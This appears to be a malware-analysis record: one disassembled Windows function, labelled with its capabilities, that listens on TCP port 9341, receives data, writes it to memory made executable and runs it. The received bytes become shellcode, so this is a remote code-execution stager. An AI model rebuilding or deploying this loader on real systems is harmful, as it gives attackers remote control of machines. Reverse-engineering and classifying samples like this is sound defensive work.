Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create tcp socket
Execute shellcode via indirect call
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Start tcp server

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
mov eax, 0x1040
call fcn.1400025b0
sub rsp, rax
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x1030], rax
mov ecx, 0x18
call fcn.1400016c4
mov ecx, 0x18
mov rbp, rax
call fcn.1400016c4
mov r15, rbp
mov rdi, rax
sub r15, rax
mov rbx, rax
mov esi, 3
mov ecx, listen
call fcn.1400016c4
mov ecx, listen
mov qword [r15 + rbx], rax
call fcn.1400016c4
mov qword [rbx], rax
lea rbx, [rbx + 8]
sub rsi, 1
jne 0x140001061
xor r12d, r12d
mov ebx, r12d
nop dword [rax]
mov rcx, rdi
mov edx, 3
nop dword [rax + rax]
mov rax, qword [r15 + rcx]
lea rcx, [rcx + 8]
mov dword [rax], ebx
inc ebx
mov rax, qword [rcx - 8]
mov dword [rax], ebx
inc ebx
mov rax, qword [r15 + rcx - 8]
mov dword [rax + 4], ebx
inc ebx
mov rax, qword [rcx - 8]
mov dword [rax + 4], ebx
inc ebx
mov rax, qword [r15 + rcx - 8]
mov dword [rax + 8], ebx
inc ebx
mov rax, qword [rcx - 8]
mov dword [rax + 8], ebx
inc ebx
sub rdx, 1
jne 0x1400010a0
lea ecx, [rdx + 0x18]
call fcn.1400016c4
mov r14, rax
mov rsi, r12
nop
mov ecx, listen
call fcn.1400016c4
mov qword [r14 + rsi*8], rax
inc rsi
cmp rsi, 3
jl 0x1400010f0
mov rsi, rbp
mov r10, r14
sub rsi, r14
mov r11d, 3
nop word [rax + rax]
mov rax, r12
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [r10]
mov dword [rax + rcx], r12d
mov rcx, qword [rdi]
mov rdx, qword [rsi + r10]
mov r9, qword [r10]
mov r8d, dword [rcx + rax]
imul r8d, dword [rdx]
add dword [r9 + rax], r8d
mov rcx, qword [rdi + 8]
mov rdx, qword [rsi + r10]
mov r9, qword [r10]
mov r8d, dword [rax + rcx]
imul r8d, dword [rdx + 4]
add dword [r9 + rax], r8d
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rsi + r10]
mov r9, qword [r10]
mov r8d, dword [rax + rcx]
imul r8d, dword [rdx + 8]
add dword [r9 + rax], r8d
add rax, 4
cmp rax, 0xc
jl 0x140001130
add r10, 8
sub r11, 1
jne 0x140001120
mov rcx, qword [rbp]
call fcn.140001680
mov rcx, qword [rbp + 8]
call fcn.140001680
mov rcx, qword [rbp + 0x10]
call fcn.140001680
mov rcx, rbp
call fcn.140001680
mov rcx, qword [rdi]
call fcn.140001680
mov rcx, qword [rdi + 8]
call fcn.140001680
mov rcx, qword [rdi + 0x10]
call fcn.140001680
mov rcx, rdi
call fcn.140001680
mov rcx, qword [r14]
call fcn.140001680
mov rcx, qword [r14 + 8]
call fcn.140001680
mov rcx, qword [r14 + 0x10]
call fcn.140001680
mov rcx, r14
call fcn.140001680
inc ebx
cmp ebx, 4
jl 0x140001090
mov ecx, 0x198
call fcn.140001688
xor edx, edx
mov r8d, 0x198
mov rcx, rax
mov rdi, rax
call sub.VCRUNTIME140.dll_memset
mov ecx, 0x30
call fcn.140001688
xorps xmm0, xmm0
mov ecx, 0x30
mov rbx, rax
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
call fcn.140001688
xorps xmm0, xmm0
lea rcx, [rsp + 0x30]
xor edx, edx
mov r8d, 0x1000
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
mov qword [rsp + 0x20], rax
call sub.VCRUNTIME140.dll_memset
mov ecx, 0x202
mov dword [rbx + 4], 2
mov rdx, rdi
mov dword [rbx + 8], 1
mov dword [rbx + 0xc], 6
mov dword [rbx], 1
call qword [sym.imp.WS2_32.dll_WSAStartup]
lea r9, [rsp + 0x20]
mov r8, rbx
lea rdx, str.9341
xor ecx, ecx
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov rcx, qword [rsp + 0x20]
mov r8d, dword [rcx + 0xc]
mov edx, dword [rcx + 8]
mov ecx, dword [rcx + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov rdx, qword [rsp + 0x20]
mov rcx, rax
mov rbx, rax
mov r8d, dword [rdx + 0x10]
mov rdx, qword [rdx + 0x20]
call qword [sym.imp.WS2_32.dll_bind]
mov edx, 0x7fffffff
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_listen]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Listening_on_TCP_port
call fcn.1400013d0
mov rcx, rax
lea rdx, str.9341
call fcn.1400013d0
mov rcx, rax
lea rdx, [0x1400015a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_accept]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Incoming_connection...
mov rbx, rax
call fcn.1400013d0
mov rcx, rax
lea rdx, [0x1400015a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor r9d, r9d
lea rdx, [rsp + 0x30]
mov r8d, 0x1000
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_recv]
xor ecx, ecx
movsxd rdx, eax
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, 0x1000
lea rdx, [rsp + 0x30]
mov rcx, rax
mov rbx, rax
call sub.VCRUNTIME140.dll_memcpy
call rbx
xor eax, eax
mov rcx, qword [rsp + 0x1030]
xor rcx, rsp
call fcn.140001660
lea r11, [rsp + 0x1040]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret